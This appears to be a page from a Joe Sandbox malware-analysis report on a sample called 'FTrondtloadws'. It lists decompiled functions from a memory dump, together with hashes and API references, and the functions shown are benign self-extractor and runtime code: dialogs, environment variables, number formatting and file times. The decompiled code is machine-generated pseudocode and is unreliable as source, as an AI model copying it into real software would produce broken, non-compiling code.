String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 8689509115951f0ea52e0e36d094a58c3f09f047a2f5327139436620a2e05655
Instruction ID: 8f86214b3cd126825bf2e1022ad3946798da47c4eb00cfaa614f3fcc001ed2b6
Opcode Fuzzy Hash: 8689509115951f0ea52e0e36d094a58c3f09f047a2f5327139436620a2e05655
Instruction Fuzzy Hash: A7110472900229BADB205A699DC9FFB372CEB0A704F104026FB05F6290C674AA12D6B4

Uniqueness

Uniqueness Score: -1.00%

Function 00CDECAD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDECAD(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				WCHAR* _t15;
				_Unknown_base(*)()* _t19;
				int _t22;

				 *0xd20cb0 = _a12;
				 *0xd20cb4 = _a16;
				 *0xd158ac = _a20;
				if( *0xd0a478 == 0) {
					if( *0xd0a46f == 0) {
						_t19 = E00CDD2A0;
						_t15 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0xd0306c, _t15,  *0xd0a470, _t19, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0xd03068, L"RENAMEDLG",  *0xd0a468, E00CDE5D0, _a4) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x00cdecbd
0x00cdecc5
0x00cdeccb
0x00cdecd0
0x00cdecdd
0x00cdece7
0x00cdecec
0x00cded16
0x00cded2d
0x00cded32
0x00000000
0x00000000
0x00cded14
0x00000000
0x00000000
0x00cded14
0x00000000
0x00cded38
0x00000000
0x00cdece1
0x00000000

Strings

REPLACEFILEDLG, xrefs: 00CDECEC, 00CDED20
RENAMEDLG, xrefs: 00CDED01

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: e18e21119027cc56b58b5b00c229a33862ed0d0a277c1c06506210e12126c8e0
Instruction ID: dcd3e58155e107f98678a315c6d25ad1e6fbd0de88ffa07acbb09c1775a43796
Opcode Fuzzy Hash: e18e21119027cc56b58b5b00c229a33862ed0d0a277c1c06506210e12126c8e0
Instruction Fuzzy Hash: 0201B1B5605344AFDB216F29FC08B663BA9FB54384B10042BFA09C6330DA728960DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00CC4940 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00CC4940(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v0;
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				void* _t14;
				intOrPtr _t15;
				signed int _t19;
				void* _t25;
				void* _t27;

				E00CDFB6D("string too long");
				asm("int3");
				E00CDFB6D("vector too long");
				asm("int3");
				_t25 = _t27;
				_push(__ecx);
				_t22 = __ecx;
				_t19 = _v0;
				if(_t19 >  *((intOrPtr*)(__ecx + 0x14))) {
					_push(_a4);
					_v8 = 0;
					_push(_v8);
					_t11 = E00CC2298(_t14, __ecx, _t19, __ecx, _t25, _t19);
				} else {
					_push(_t14);
					_t15 = __ecx;
					if( *((intOrPtr*)(__ecx + 0x14)) >= 8) {
						_t15 =  *((intOrPtr*)(__ecx));
					}
					 *(_t22 + 0x10) = _t19;
					E00CC499F(_t15, _a4, _t19);
					 *((short*)(_t15 + _t19 * 2)) = 0;
					_t11 = _t22;
				}
				return _t11;
			}

0x00cc4945
0x00cc494a
0x00cc4950
0x00cc4955
0x00cc4957
0x00cc4959
0x00cc495b
0x00cc495e
0x00cc4964
0x00cc4989
0x00cc498c
0x00cc4990
0x00cc4994
0x00cc4966
0x00cc496a
0x00cc496b
0x00cc496d
0x00cc496f
0x00cc496f
0x00cc4975
0x00cc4979
0x00cc4980
0x00cc4984
0x00cc4986
0x00cc499c

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00CC4945

Part of subcall function 00CDFB6D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00CDFB79
Part of subcall function 00CDFB6D: ___delayLoadHelper2@8.DELAYIMP ref: 00CDFB9F

std::_Xinvalid_argument.LIBCPMT ref: 00CC4950

Strings

vector too long, xrefs: 00CC494B
string too long, xrefs: 00CC4940

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: 24eb993f13b0d0282a0b60e2e157c8e920825e133c7937f666a687a6c969f2ed
Instruction ID: b99cc825f92aa4d093b0a2a7fbd9af3eb2bfff0b24dfe934c065a333ebc0a4e4
Opcode Fuzzy Hash: 24eb993f13b0d0282a0b60e2e157c8e920825e133c7937f666a687a6c969f2ed
Instruction Fuzzy Hash: 67F0A0312003287B86286F59EC56D4BB3ADEF99B50710492FFA46C7601C3B0EA0087B5

Uniqueness

Uniqueness Score: -1.00%

Function 00CDEBAE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00CDEBAE(void* __eflags, WCHAR* _a4) {
				char _v8196;
				WCHAR* _t8;
				WCHAR* _t13;

				E00CDFE20(0x2000);
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t8 = E00CD1677(_a4,  &_v8196, 0x1000);
				_t13 = _t8;
				if(_t13 != 0) {
					_push( *_t13 & 0x0000ffff);
					while(E00CD1793() != 0) {
						_t13 =  &(_t13[1]);
						_push( *_t13 & 0x0000ffff);
					}
					return SetEnvironmentVariableW(L"sfxpar", _t13);
				}
				return _t8;
			}

0x00cdebb6
0x00cdebc4
0x00cdebd9
0x00cdebde
0x00cdebe2
0x00cdebe7
0x00cdebf1
0x00cdebea
0x00cdebf0
0x00cdebf0
0x00000000
0x00cdec00
0x00cdec08

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00CDEBC4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CDEC00

Strings

sfxcmd, xrefs: 00CDEBBF
sfxpar, xrefs: 00CDEBFB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 455e94ac93927728c9c423a414e9ade9a0eef5128b353a0d8f6ac30ff6673753
Instruction ID: 2a0434bca43035ff719a4335a1a9a3fa78454cd7bd9655eb3f53c7983d3c1919
Opcode Fuzzy Hash: 455e94ac93927728c9c423a414e9ade9a0eef5128b353a0d8f6ac30ff6673753
Instruction Fuzzy Hash: 03F037B140123477DB203B918C0AFFF7668EF54B45B054067FF4559252E661D980D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CEAA2A Relevance: 6.3, APIs: 4, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E00CEAA2A(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E00CE5794(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E00CDFEF0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E00CDFEF0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0xce63ff
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E00CE1000(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E00CDFEF0( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E00CF3270();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E00CF3270();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E00CF3270();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E00CEAD2D(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E00CF3440(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E00CEA63B();
					_t183 = 0x22;
					 *_t129 = _t183;
					E00CE5009();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x00ceaa2a
0x00ceaa35
0x00ceaa3c
0x00ceaa3e
0x00ceaa3e
0x00ceaa40
0x00ceaa49
0x00ceaa4b
0x00ceaa50
0x00ceaa56
0x00ceaa6c
0x00ceaa71
0x00ceaa74
0x00ceaa81
0x00ceaa86
0x00ceaada
0x00ceaae2
0x00ceaae4
0x00ceaae6
0x00ceaae9
0x00ceaae9
0x00ceaae9
0x00ceaaef
0x00ceaaf7
0x00ceab0a
0x00ceab0d
0x00ceab0f
0x00ceab12
0x00ceab13
0x00ceab34
0x00ceab37
0x00ceab37
0x00ceab15
0x00ceab15
0x00ceab17
0x00ceab22
0x00ceab22
0x00ceab24
0x00ceab2b
0x00ceab26
0x00ceab26
0x00ceab26
0x00ceab24
0x00ceab38
0x00ceab3a
0x00ceab3b
0x00ceab3e
0x00ceab40
0x00ceab54
0x00ceab42
0x00ceab42
0x00ceab42
0x00ceab59
0x00ceab59
0x00ceab5e
0x00ceab61
0x00ceab6c
0x00ceab6c
0x00ceab6c
0x00ceab6c
0x00ceab70
0x00ceab77
0x00ceab78
0x00ceab7b
0x00ceab7e
0x00ceab7e
0x00ceab80
0x00000000
0x00000000
0x00ceab98
0x00ceab9f
0x00ceaba3
0x00ceaba6
0x00ceaba9
0x00ceabab
0x00ceabab
0x00ceabab
0x00ceabad
0x00ceabb0
0x00ceabb3
0x00ceabb5
0x00ceabbd
0x00ceabc3
0x00ceabc6
0x00ceabc9
0x00ceabca
0x00ceabcd
0x00ceabd0
0x00ceabd0
0x00ceabd5
0x00ceabd8
0x00000000
0x00000000
0x00ceabf0
0x00ceabf5
0x00ceabf9
0x00000000
0x00000000
0x00ceabfd
0x00ceabfd
0x00ceac00
0x00ceac01
0x00ceac01
0x00ceac03
0x00ceac06
0x00000000
0x00000000
0x00ceac08
0x00ceac0b
0x00ceac12
0x00ceac15
0x00ceac18
0x00ceac2e
0x00ceac2e
0x00ceac2e
0x00ceac1a
0x00ceac1a
0x00ceac1c
0x00ceac1f
0x00ceac2a
0x00ceac21
0x00ceac24
0x00ceac24
0x00ceac1f
0x00000000
0x00ceac18
0x00ceac0d
0x00ceac0d
0x00ceac0f
0x00ceac0f
0x00ceab63
0x00ceab63
0x00ceab66
0x00ceac31
0x00ceac31
0x00ceac33
0x00ceac35
0x00ceac38
0x00ceac39
0x00ceac3a
0x00ceac3b
0x00ceac43
0x00ceac43
0x00ceac43
0x00ceac45
0x00ceac48
0x00ceac4b
0x00ceac4d
0x00ceac4d
0x00ceac4f
0x00ceac61
0x00ceac65
0x00ceac68
0x00ceac6f
0x00ceac77
0x00ceac77
0x00ceac7a
0x00ceac7c
0x00ceac8d
0x00ceac8d
0x00ceac91
0x00ceac91
0x00ceac94
0x00ceac96
0x00ceac99
0x00000000
0x00ceac7e
0x00ceac7e
0x00ceac84
0x00ceac84
0x00ceac88
0x00ceac9b
0x00ceac9b
0x00ceac9f
0x00ceaca0
0x00ceaca2
0x00ceaca4
0x00ceace5
0x00ceace5
0x00ceace7
0x00ceacf4
0x00ceacf4
0x00ceacf6
0x00ceacf8
0x00ceacf9
0x00ceacfa
0x00cead01
0x00cead04
0x00cead06
0x00cead06
0x00cead07
0x00cead09
0x00cead0c
0x00cead0c
0x00cead0e
0x00cead10
0x00000000
0x00cead10
0x00ceace9
0x00ceaceb
0x00000000
0x00000000
0x00ceaced
0x00000000
0x00000000
0x00ceacef
0x00ceacf2
0x00000000
0x00000000
0x00000000
0x00ceacf2
0x00ceacab
0x00ceacb1
0x00ceacb1
0x00ceacb3
0x00ceacb4
0x00ceacb5
0x00ceacb6
0x00ceacbd
0x00ceacc0
0x00ceacc2
0x00ceacc3
0x00ceacc5
0x00ceacd2
0x00ceacd2
0x00ceacd4
0x00ceacd6
0x00ceacd7
0x00ceacd8
0x00ceacdf
0x00ceace2
0x00ceace4
0x00ceace4
0x00000000
0x00ceace4
0x00ceacc7
0x00ceacc7
0x00ceacc9
0x00000000
0x00000000
0x00ceaccb
0x00000000
0x00000000
0x00ceaccd
0x00ceacd0
0x00000000
0x00000000
0x00000000
0x00ceacd0
0x00ceacad
0x00ceacaf
0x00000000
0x00000000
0x00000000
0x00ceacaf
0x00ceac80
0x00ceac82
0x00000000
0x00000000
0x00000000
0x00ceac82
0x00ceac7c
0x00000000
0x00ceab66
0x00ceab61
0x00ceaa88
0x00ceaa8a
0x00000000
0x00ceaa8c
0x00ceaaa2
0x00ceaaa7
0x00ceaaa9
0x00ceaab5
0x00ceaabb
0x00ceaabc
0x00ceaabe
0x00ceaac0
0x00ceaacb
0x00ceaacb
0x00ceaace
0x00ceaad0
0x00ceaad0
0x00ceaad3
0x00ceaaab
0x00ceaaab
0x00ceaaab
0x00000000
0x00ceaaa9
0x00ceaa58
0x00ceaa58
0x00ceaa5f
0x00ceaa60
0x00ceaa62
0x00cead14
0x00cead18
0x00cead1d
0x00cead1d
0x00cead2c
0x00cead2c

APIs

_strrchr.LIBCMT ref: 00CEAAB5
__alldvrm.LIBCMT ref: 00CEACB6
__alldvrm.LIBCMT ref: 00CEACD8

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 11928e2537a4dd367eb88350d438216194463e35c46b68634b5d5fb98095dd98
Instruction ID: 4cbc4e178e506a7b3ca85077fb39d2f59dc2addc913c9170e6e934e49847521d
Opcode Fuzzy Hash: 11928e2537a4dd367eb88350d438216194463e35c46b68634b5d5fb98095dd98
Instruction Fuzzy Hash: 9AA18C729003C69FDB21CF1AC8817BEBBE5FF55310F2841ADE5959B242C239AE41D752

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB72D Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00CCB72D(void* __edx) {
				signed char _t41;
				void* _t42;
				void* _t53;
				signed char _t70;
				void* _t78;
				signed int* _t79;
				signed int* _t80;
				void* _t81;
				signed int* _t82;
				void* _t83;

				_t78 = __edx;
				E00CDFE20(0x1024);
				_t80 =  *(_t83 + 0x1038);
				_t70 = 1;
				if(_t80 == 0) {
					L2:
					 *(_t83 + 0x11) = 0;
					L3:
					_t79 =  *(_t83 + 0x1040);
					if(_t79 == 0) {
						L5:
						 *(_t83 + 0x13) = 0;
						L6:
						_t82 =  *(_t83 + 0x1044);
						if(_t82 == 0) {
							L8:
							 *(_t83 + 0x12) = 0;
							L9:
							_t41 = E00CCB4B3( *(_t83 + 0x1038));
							 *(_t83 + 0x18) = _t41;
							if(_t41 == 0xffffffff || (_t70 & _t41) == 0) {
								_t70 = 0;
							} else {
								E00CCB8C6( *((intOrPtr*)(_t83 + 0x103c)), 0);
							}
							_t42 = CreateFileW( *(_t83 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t83 + 0x14) = _t42;
							if(_t42 != 0xffffffff) {
								L16:
								if( *(_t83 + 0x11) != 0) {
									E00CD2689(_t80, _t78, _t83 + 0x1c);
								}
								if( *(_t83 + 0x13) != 0) {
									E00CD2689(_t79, _t78, _t83 + 0x2c);
								}
								if( *(_t83 + 0x12) != 0) {
									E00CD2689(_t82, _t78, _t83 + 0x24);
								}
								_t81 =  *(_t83 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t81,  ~( *(_t83 + 0x1b) & 0x000000ff) & _t83 + 0x00000030,  ~( *(_t83 + 0x16) & 0x000000ff) & _t83 + 0x00000024,  ~( *(_t83 + 0x11) & 0x000000ff) & _t83 + 0x0000001c);
								_t53 = CloseHandle(_t81);
								if(_t70 != 0) {
									_t53 = E00CCB8C6( *((intOrPtr*)(_t83 + 0x103c)),  *(_t83 + 0x18));
								}
								goto L24;
							} else {
								_t53 = E00CCCF12( *(_t83 + 0x1040), _t83 + 0x38, 0x800);
								if(_t53 == 0) {
									L24:
									return _t53;
								}
								_t53 = CreateFileW(_t83 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t83 + 0x14) = _t53;
								if(_t53 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t83 + 0x12) = _t70;
						if(( *_t82 | _t82[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t83 + 0x13) = _t70;
					if(( *_t79 | _t79[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t83 + 0x11) = 1;
				if(( *_t80 | _t80[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x00ccb72d
0x00ccb732
0x00ccb73e
0x00ccb745
0x00ccb749
0x00ccb756
0x00ccb756
0x00ccb75a
0x00ccb75a
0x00ccb763
0x00ccb770
0x00ccb770
0x00ccb774
0x00ccb774
0x00ccb77d
0x00ccb78b
0x00ccb78b
0x00ccb78f
0x00ccb796
0x00ccb79b
0x00ccb7a2
0x00ccb7b8
0x00ccb7a8
0x00ccb7b1
0x00ccb7b1
0x00ccb7d3
0x00ccb7d9
0x00ccb7e0
0x00ccb82a
0x00ccb82f
0x00ccb838
0x00ccb838
0x00ccb842
0x00ccb84b
0x00ccb84b
0x00ccb855
0x00ccb85e
0x00ccb85e
0x00ccb86e
0x00ccb872
0x00ccb882
0x00ccb892
0x00ccb898
0x00ccb89f
0x00ccb8a7
0x00ccb8b4
0x00ccb8b4
0x00000000
0x00ccb7e2
0x00ccb7f3
0x00ccb7fa
0x00ccb8bd
0x00ccb8c3
0x00ccb8c3
0x00ccb817
0x00ccb81d
0x00ccb824
0x00000000
0x00000000
0x00000000
0x00ccb824
0x00ccb7e0
0x00ccb785
0x00ccb789
0x00000000
0x00000000
0x00000000
0x00ccb789
0x00ccb76a
0x00ccb76e
0x00000000
0x00000000
0x00000000
0x00ccb76e
0x00ccb750
0x00ccb754
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00CC8D3C,?,?,?), ref: 00CCB7D3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,00CC8D3C,?,?), ref: 00CCB817
SetFileTime.KERNEL32(?,00CC8ACC,?,00000000,?,00000800,?,00CC8D3C,?,?,?,?,?,?,?,?), ref: 00CCB898
CloseHandle.KERNEL32(?,?,00000800,?,00CC8D3C,?,?,?,?,?,?,?,?,?,?), ref: 00CCB89F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
